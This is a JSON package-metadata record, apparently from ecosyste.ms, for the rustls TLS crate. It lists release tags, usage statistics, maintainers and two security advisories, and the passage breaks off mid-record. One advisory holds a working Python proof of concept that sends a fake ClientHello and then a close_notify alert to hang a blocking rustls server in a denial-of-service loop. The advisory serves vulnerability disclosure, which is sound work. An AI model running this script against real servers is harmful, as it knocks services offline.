repositories/rustls%2Frustls/tags/v%2F0.19.0/manifests"},{"name":"v/0.18.1","sha":"30f0545477c083209093c0a02d7ae4ad9e06ef13","kind":"tag","published_at":"2020-08-16T16:49:09.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.18.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.18.1/manifests"},{"name":"v/0.18.0","sha":"748341d49af8e24a80eb9bd40437e92ffa1a4850","kind":"tag","published_at":"2020-07-04T14:39:23.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.18.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.18.0/manifests"},{"name":"v/0.17.0","sha":"92600efb4f6cc25bfe0c133b0b922d915ed826e3","kind":"tag","published_at":"2020-02-22T20:41:59.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.17.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.17.0/manifests"},{"name":"v/0.16.0","sha":"17ee52c5d10394fdd7eede80c43b3e14a0aa1975","kind":"tag","published_at":"2019-08-10T08:55:35.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.16.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.16.0/manifests"},{"name":"v/0.15.2","sha":"cd66549efde274b904305058768471810feeaa2c","kind":"tag","published_at":"2019-04-02T19:44:32.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.15.2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.15.2/manifests"},{"name":"v/0.15.1","sha":"158a1619b6059e809cbc59b896dba1b766a267ce","kind":"tag","published_at":"2019-01-29T08:36:06.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.15.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.15.1/manifests"},{"name":"v/0.15.0","sha":"f93c325ce58f2f1e02f09bcae6c48ad3f7bde542","kind":"tag","published_at":"2019-01-20T20:32:31.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.15.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.15.0/manifests"},{"name":"v/0.14.0","sha":"eb2556d991f3481b96190ced8c14489904ed3481","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.14.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.14.0/manifests"},{"name":"v/0.13.1","sha":"02f63b92e256a9d0aa3e43e331d4415e3415777d","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.13.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.13.1/manifests"},{"name":"v/0.13.0","sha":"276426461a9429032cd33a972ec5568b6d1994e3","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.13.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.13.0/manifests"},{"name":"v/0.12.0","sha":"128fb80fb44c41ea40cf37082f761e499bcdf9c6","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.12.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.12.0/manifests"},{"name":"v/0.11.0","sha":"91f249c00da4fe4800d61599a187bca6cb75021f","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.11.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.11.0/manifests"},{"name":"v/0.10.0","sha":"24a5c11d666ddb05976877034a048e2dcaa8b80d","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.10.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.10.0/manifests"},{"name":"v/0.9.0","sha":"ffbd38100f4350374ddcf0a217a88ee3b83baba6","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.9.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.9.0/manifests"},{"name":"v/0.8.0","sha":"339bd8513317f5c692d77c5c3ad068b207dd82e5","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.8.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.8.0/manifests"},{"name":"v/0.7.0","sha":"ffba1587fa8d905943fe0501b13bdf20d6ae59ef","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.7.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.7.0/manifests"},{"name":"v/0.6.0","sha":"14e9529e406065efe23f4de9112601d896820716","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.6.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.6.0/manifests"},{"name":"v/0.5.8","sha":"37838d1b7909536103e731a5373e52fc6469301a","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.8","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.8/manifests"},{"name":"v/0.5.7","sha":"b149eb78187b97f057e3ee1aade6be67bf093229","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.7","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.7/manifests"},{"name":"v/0.5.6","sha":"e8d815a7aad9d2a7850fbf2df53e5d322741a70b","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.6","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.6/manifests"},{"name":"v/0.5.5","sha":"8b93a148a900809f28141665552070a2c9ede266","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.5","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.5/manifests"},{"name":"v/0.5.4","sha":"3cf86d10c6254d95d13ce801f5efa840b5fa4201","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.4","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.4/manifests"},{"name":"v/0.5.3","sha":"0475c3e272aacf1e995047c2e1bc00439141b8ab","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.3","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.3/manifests"},{"name":"v/0.5.2","sha":"5d27aa2e07b5849be1c7b94cf90ac608ac80d276","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.2/manifests"},{"name":"v/0.5.1","sha":"00469401792d76433756dde0e0392f35d4011a3d","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.1/manifests"},{"name":"v/0.5.0","sha":"bdfdda9689ab319324deb34ee6273e67e8b291bd","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.5.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.5.0/manifests"},{"name":"v/0.1.2","sha":"9fe63eb9cbc28da1e75e152b30b3e04dc5277ad6","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.1.2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.1.2/manifests"},{"name":"v/0.1.1","sha":"4d24c6bf5201bc61b23d91bedc356c21fd7453e8","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.1.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.1.1/manifests"},{"name":"v/0.1.0","sha":"41fa7c9cf88fba1b0effe95453a0a9ceb5de7adf","kind":"tag","published_at":"2019-01-19T11:40:00.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.1.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-17T18:00:31.343Z","dependent_packages_count":887,"downloads":838132978,"downloads_period":"total","dependent_repos_count":18497,"rankings":{"downloads":0.09802746179397308,"dependent_repos_count":0.17701361805962046,"dependent_packages_count":0.09026989287502557,"stargazers_count":1.6248580717504604,"forks_count":1.5352934124135207,"docker_downloads_count":0.39069938009972,"average":0.6526936394987201},"purl":"pkg:cargo/rustls","advisories":[{"uuid":"GSA_kwCzR0hTQS1xZzVnLWd2OTgtNWZmaM4ABBvH","url":"https://github.com/advisories/GHSA-qg5g-gv98-5ffh","title":"rustls network-reachable panic in `Acceptor::accept`","description":"A bug introduced in rustls 0.23.13 leads to a panic if the received TLS ClientHello is fragmented.  Only servers that use `rustls::server::Acceptor::accept()` are affected.\n\nServers that use `tokio-rustls`'s `LazyConfigAcceptor` API are affected.\n\nServers that use `tokio-rustls`'s `TlsAcceptor` API are not affected.\n\nServers that use `rustls-ffi`'s `rustls_acceptor_accept` API are affected.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-11-25T16:57:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustls/rustls/issues/2227","https://rustsec.org/advisories/RUSTSEC-2024-0399.html","https://github.com/advisories/GHSA-qg5g-gv98-5ffh"],"source_kind":"github","identifiers":["GHSA-qg5g-gv98-5ffh"],"repository_url":"https://github.com/rustls/rustls","blast_radius":29.442998946263785,"created_at":"2024-11-25T17:07:35.323Z","updated_at":"2026-08-14T00:10:14.812Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzVnLWd2OTgtNWZmaM4ABBvH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZzVnLWd2OTgtNWZmaM4ABBvH","packages":[{"ecosystem":"cargo","package_name":"rustls","versions":[{"first_patched_version":"0.23.18","vulnerable_version_range":"\u003e= 0.23.13, \u003c 0.23.18"}],"purl":"pkg:cargo/rustls"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzVnLWd2OTgtNWZmaM4ABBvH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Zzd3LTh3cHAtZnJoas4AA7Nv","url":"https://github.com/advisories/GHSA-6g7w-8wpp-frhj","title":"Denial of Service Vulnerability in Rustls Library","description":"### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n    ```python3\n    #!/usr/bin/env python3\n    \n    import socket\n    \n    sock = socket.socket()\n    sock.connect((\"localhost\", 4443))\n    \n    print(\"Sending client hello...\")\n    \n    # Fake handshake data of a client hello message.\n    fake_handshake = \"\"\"\n    1603 0100 c801 0000 c403 03ec 12dd\n    1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n    a051 f03c b817 470d 4c54 c5df 7200 001c\n    eaea c02b c02f c02c c030 cca9 cca8 c013\n    c014 009c 009d 002f 0035 000a 0100 007f\n    dada 0000 ff01 0001 0000 0000 1600 1400\n    0011 7777 772e 7769 6b69 7065 6469 612e\n    6f72 6700 1700 0000 2300 0000 0d00 1400\n    1204 0308 0404 0105 0308 0505 0108 0606\n    0102 0100 0500 0501 0000 0000 0012 0000\n    0010 000e 000c 0268 3208 6874 7470 2f31\n    2e31 7550 0000 000b 0002 0100 000a 000a\n    0008 1a1a 001d 0017 0018 1a1a 0001 00\n    \"\"\"\n    \n    \n    def parse_fake_handshake():\n        i = 0\n        data = bytearray()\n        while i \u003c len(fake_handshake):\n            while i \u003c len(fake_handshake) and fake_handshake[i].isspace():\n                i += 1\n            if i \u003e= len(fake_handshake):\n                return data\n    \n            c1 = fake_handshake[i]\n            c2 = fake_handshake[i + 1]\n            i += 2\n    \n            data.append(int(c1, 16) * 16 + int(c2, 16))\n        return data\n    \n    \n    data = parse_fake_handshake()\n    \n    print(\"Fake client hello:\", data)\n    \n    sock.send(data)\n    \n    # Send close_notify alert that we're closing the connection.\n    close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n    print(f\"close_notify is {close_data}\")\n    sock.send(close_data)\n    print(\"close_notify sent\")\n    \n    exit(0)\n    ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-19T19:46:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj","https://nvd.nist.gov/vuln/detail/CVE-2024-32650","https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d","https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af","https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e","https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c","https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e","https://rustsec.org/advisories/RUSTSEC-2024-0336.html","https://github.com/advisories/GHSA-6g7w-8wpp-frhj"],"source_kind":"github","identifiers":["GHSA-6g7w-8wpp-frhj","CVE-2024-32650"],"repository_url":"https://github.com/rustls/rustls","blast_radius":0.0,"created_at":"2024-04-19T20:04:43.103Z","updated_at":"2026-08-14T00:12:57.411Z","epss_percentage":0.00949,"epss_percentile":0.57506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Zzd3LTh3cHAtZnJoas4AA7Nv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Zzd3LTh3cHAtZnJoas4AA7Nv","packages":[{"ecosystem":"cargo","package_name":"rustls","versions":[{"first_patched_version":null,"vulnerable_version_range":"= 0.20"},{"first_patched_version":"0.21.11","vulnerable_version_range":"\u003e= 0.21.0, \u003c= 0.21.10"},{"first_patched_version":"0.22.4","vulnerable_version_range":"\u003e= 0.22.0, \u003c= 0.22.3"},{"first_patched_version":"0.23.5","vulnerable_version_range":"\u003e= 0.23.0, \u003c= 0.23.4"}],"purl":"pkg:cargo/rustls"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Zzd3LTh3cHAtZnJoas4AA7Nv/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/cargo/rustls","docker_dependents_count":536,"docker_downloads_count":25534575,"usage_url":"https://repos.ecosyste.ms/usage/cargo/rustls","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/cargo/rustls/dependencies","status":null,"funding_links":["https://github.com/sponsors/cpu","https://github.com/sponsors/ctz","https://github.com/sponsors/djc"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-16T17:02:40.437Z","issues_count":918,"pull_requests_count":2516,"avg_time_to_close_issue":14744520.804461943,"avg_time_to_close_pull_request":1336346.0090051459,"issues_closed_count":762,"pull_requests_closed_count":2332,"pull_request_authors_count":272,"issue_authors_count":487,"avg_comments_per_issue":4.4226579520697165,"avg_comments_per_pull_request":3.1160572337042924,"merged_pull_requests_count":1865,"bot_issues_count":1,"bot_pull_requests_count":125,"past_year_issues_count":43,"past_year_pull_requests_count":294,"past_year_avg_time_to_close_issue":1705315.7727272727,"past_year_avg_time_to_close_pull_request":467585.6939655172,"past_year_issues_closed_count":22,"past_year_pull_requests_closed_count":232,"past_year_pull_request_authors_count":45,"past_year_issue_authors_count":37,"past_year_avg_comments_per_issue":3.0,"past_year_avg_comments_per_pull_request":3.1496598639455784,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":201,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/issues","maintainers":[{"login":"ctz","count":728,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ctz"},{"login":"djc","count":438,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/djc"},{"login":"cpu","count":313,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cpu"},{"login":"quininer","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/quininer"},{"login":"paulojblack","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/paulojblack"}],"active_maintainers":[{"login":"ctz","count":107,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ctz"},{"login":"djc","count":87,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/djc"},{"login":"cpu","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cpu"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustls/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustls/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustls/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustls/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustls/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustls/codemeta","maintainers":[{"uuid":"4556","login":"djc","name":"Dirkjan Ochtman","email":null,"url":"https://github.com/djc","packages_count":93,"html_url":"https://crates.io/users/djc","role":null,"created_at":"2022-11-08T00:36:56.275Z","updated_at":"2022-11-08T00:36:56.275Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/maintainers/djc/packages"},{"uuid":"2751","login":"ctz","name":"Joe 